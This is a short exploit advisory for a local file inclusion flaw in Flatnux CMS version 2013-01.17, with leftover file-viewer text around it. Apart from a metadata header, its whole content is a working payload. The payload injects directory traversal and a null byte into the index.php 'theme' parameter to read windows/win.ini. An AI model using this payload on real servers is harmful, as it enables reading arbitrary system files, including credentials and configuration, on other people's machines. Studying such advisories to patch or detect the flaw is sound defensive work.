14 lines
No EOL
580 B
Text
14 lines
No EOL
580 B
Text
##########################################
|
|
[~] Exploit Title: Flatnux CMS Local File Inclusion
|
|
[~] Date: 21-03-2013
|
|
[~] Author: DaOne aka Mocking Bird
|
|
[~] Vendor Homepage: http://flatnux.altervista.org/
|
|
[~] Software Link: http://flatnux.altervista.org/download.html?f=Flatnux-Next/flatnux-2013-01.17.zip
|
|
[~] Category: webapps/php
|
|
[~] Version: 2013-01.17
|
|
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
|
|
##########################################
|
|
|
|
# Exploit
|
|
index.php?theme={localfile}{nullbyte}
|
|
http://localhost/flatnux/index.php?theme=../../../../../../../../../../windows/win.ini%00 |